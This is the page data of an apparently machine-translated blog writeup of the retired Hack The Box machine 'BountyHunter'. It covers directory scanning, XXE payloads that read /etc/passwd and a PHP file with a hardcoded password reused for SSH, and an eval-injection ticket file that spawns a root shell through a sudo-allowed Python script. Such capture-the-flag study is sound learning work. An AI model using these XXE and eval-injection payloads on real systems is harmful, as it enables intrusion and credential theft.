{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-bugbountyhunter-en","result":{"data":{"markdownRemark":{"id":"1fe8f077-71ef-5968-9b4d-0a5f5a9075a7","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I am studying security using “Hack The Box,” a penetration testing learning platform.\nMy Hack The Box rank at the time of writing is ProHacker.

\n\"Hack\n

This is a writeup for the retired HackTheBox machine “BountyHunter.”

\n

\n \n \n \n \n \n \n \n \n

\n

I also run feroxbuster to scan for directories.

\n

The backend appears to be PHP, so I specify PHP in the options.

\n
feroxbuster -u http://$RHOST/ -x php -w /usr/share/wordlists/raft-medium-directories.txt --no-recursion | tee feroxbuster.txt\n\n301        9l       28w      313c http://$RHOST/js\n301        9l       28w      314c http://$RHOST/css\n301        9l       28w      317c http://$RHOST/assets\n200        0l        0w        0c http://$RHOST/db.php\n301        9l       28w      320c http://$RHOST/resources\n200      388l     1470w        0c http://$RHOST/index.php\n200        5l       15w      125c http://$RHOST/portal.php
\n

Looking at the form’s script, it constructs an XML string from each input value, Base64-encodes it, and POST-submits it to /tracker_diRbPr00f314.php. (The string that’s actually sent seems to be further transformed from the Base64, though I couldn’t fully understand where or how.)

\n
function returnSecret(data) {\nreturn Promise.resolve($.ajax({\n            type: \"POST\",\n            data: {\"data\":data},\n            url: \"tracker_diRbPr00f314.php\"\n            }));\n}\n\nasync function bountySubmit() {\ntry {\nvar xml = `<?xml  version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<bugreport>\n<title>${$('#exploitTitle').val()}</title>\n<cwe>${$('#cwe').val()}</cwe>\n<cvss>${$('#cvss').val()}</cvss>\n<reward>${$('#reward').val()}</reward>\n</bugreport>`\nlet data = await returnSecret(btoa(xml));\n  $(\"#return\").html(data)\n}\ncatch(error) {\nconsole.log('Error:', error);\n}\n}
\n

XXE looks applicable here, so I’ll try various approaches next.

\n

Exploiting XXE

\n

I modify the script in the browser console as follows and submit the form.

\n
async function bountySubmit() {\ntry {\nvar xml = `<?xml  version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/etc/passwd\">] > \n<bugreport>\n<title>&xxe;</title>\n<cwe>${$('#cwe').val()}</cwe>\n<cvss>${$('#cvss').val()}</cvss>\n<reward>${$('#reward').val()}</reward>\n</bugreport>`\nlet data = await returnSecret(btoa(xml));\n  $(\"#return\").html(data)\n}\ncatch(error) {\nconsole.log('Error:', error);\n}\n}
\n

This returns the Base64-encoded passwd in the title element.

\n

Looking at the regular user names, I found development, so I tried the following XXE payloads to retrieve the user flag or SSH private key — but unfortunately they all failed.

\n
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/home/development/user.txt\">] >\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/home/development/Desktop/user.txt\">] >\n<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/home/development/.ssh/id_rsa\">] >
\n

So I decided to retrieve other files running on the server.

\n

From the earlier feroxbuster results, db.php looked suspicious.

\n
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=db.php\">]\n\n<?php\n// TODO -> Implement login system with the database.\n$dbserver = \"localhost\";\n$dbname = \"bounty\";\n$dbusername = \"admin\";\n$dbpassword = \"m19RoAU0hP41A1sTsq6K\";\n$testuser = \"test\";
\n

This is what was actually retrieved.

\n

Database credentials are hardcoded in plaintext.

\n

I couldn’t find a database access endpoint, so I wasn’t sure what to do next — but I tried using the password for SSH as a last resort, and it worked! I obtained the user flag.

\n
ssh development@$RHOST\n# m19RoAU0hP41A1sTsq6K
\n

Next, I’ll go for root.

\n

Privilege Escalation

\n

From here, I perform privilege escalation.

\n

I ran linpeas to gather useful information.

\n
#\n Operative system\n https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits\nLinux version 5.4.0-80-generic (buildd@lcy01-amd64-030) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021\nDistributor ID: Ubuntu\nDescription:    Ubuntu 20.04.2 LTS\nRelease:        20.04\nCodename:       focal\n\n#\n Sudo version\n https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version\nSudo version 1.8.31\n\nPossible Exploits:\n[+] [CVE-2021-3156] sudo Baron Samedit\n\n   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt\n   Exposure: probable\n   Tags: mint=19,[ ubuntu=18|20 ], debian=10\n   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main\n\n[+] [CVE-2021-3156] sudo Baron Samedit 2\n\n   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt\n   Exposure: probable\n   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10\n   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main\n\n[+] [CVE-2021-22555] Netfilter heap out-of-bounds write\n\n   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html\n   Exposure: probable\n   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}\n   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c\n   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c\n   Comments: ip_tables kernel module must be loaded\n\n[+] [CVE-2017-5618] setuid screen v4.5.0 LPE\n\n   Details: https://seclists.org/oss-sec/2017/q1/184\n   Exposure: less probable\n   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154\n\nsudo -l\nMatching Defaults entries for development on bountyhunter:\n    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin\n\nUser development may run the following commands on bountyhunter:\n    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
\n

There are several potential vulnerabilities, but I was interested in ticketValidator.py, which can be run with sudo without a password.

\n

ticketValidator.py

\n

Here is the script:

\n
#Skytrain Inc Ticket Validation System 0.1\n#Do not distribute this file.\n\ndef load_file(loc):\n    if loc.endswith(\".md\"):\n        return open(loc, 'r')\n    else:\n        print(\"Wrong file type.\")\n        exit()\n\ndef evaluate(ticketFile):\n    #Evaluates a ticket to check for ireggularities.\n    code_line = None\n    for i,x in enumerate(ticketFile.readlines()):\n        if i == 0:\n            if not x.startswith(\"# Skytrain Inc\"):\n                return False\n            continue\n        if i == 1:\n            if not x.startswith(\"## Ticket to \"):\n                return False\n            print(f\"Destination: {' '.join(x.strip().split(' ')[3:])}\")\n            continue\n\n        if x.startswith(\"__Ticket Code:__\"):\n            code_line = i+1\n            continue\n\n        if code_line and i == code_line:\n            if not x.startswith(\"**\"):\n                return False\n            ticketCode = x.replace(\"**\", \"\").split(\"+\")[0]\n            if int(ticketCode) % 7 == 4:\n                validationNumber = eval(x.replace(\"**\", \"\"))\n                if validationNumber > 100:\n                    return True\n                else:\n                    return False\n    return False\n\ndef main():\n    fileName = input(\"Please enter the path to the ticket file.\\n\")\n    ticket = load_file(fileName)\n    #DEBUG print(ticket)\n    result = evaluate(ticket)\n    if (result):\n        print(\"Valid ticket.\")\n    else:\n        print(\"Invalid ticket.\")\n    ticket.close\n\nmain()
\n

This appears to be a script that accepts a file in a specific format as input and parses it.

\n

Exploring the system, I found the ticket format:

\n
#cat /opt/skytrain_inc/invalid_tickets/390681613.md\n\n# Skytrain Inc\n## Ticket to New Haven\n__Ticket Code:__\n**31+410+86**\n##Issued: 2021/04/06\n#End Ticket
\n

Here, eval is called when the first number (split by +) on the line after __Ticket Code:__ has a mod-7 result equal to 4.

\n

This means the part **31+410+86** becomes the argument to eval, so I can embed a command to spawn a shell inside it.

\n

For a reference on calling a shell from eval, this Stack Overflow post was helpful:

\n

Reference: Python - running reverse shell inside eval() - Stack Overflow

\n

So I created the following file:

\n
#cat mal.md\n\n# Skytrain Inc\n## Ticket to New Haven\n__Ticket Code:__\n**11+100 != 0 and __import__('os').system('/bin/bash') == False**\n##Issued: 2021/04/06\n#End Ticket
\n

Running ticketValidator.py with sudo and passing this file spawns a root shell.

\n

Summary

\n

True to the machine name, the process of finding bugs yourself to obtain root was quite enjoyable.

","fields":{"slug":"/hackthebox-linux-bugbountyhunter-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2021-11-25","description":"A writeup of the retired HackTheBox machine 'BountyHunter'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: BountyHunter (Easy/Linux)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-bugbountyhunter-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}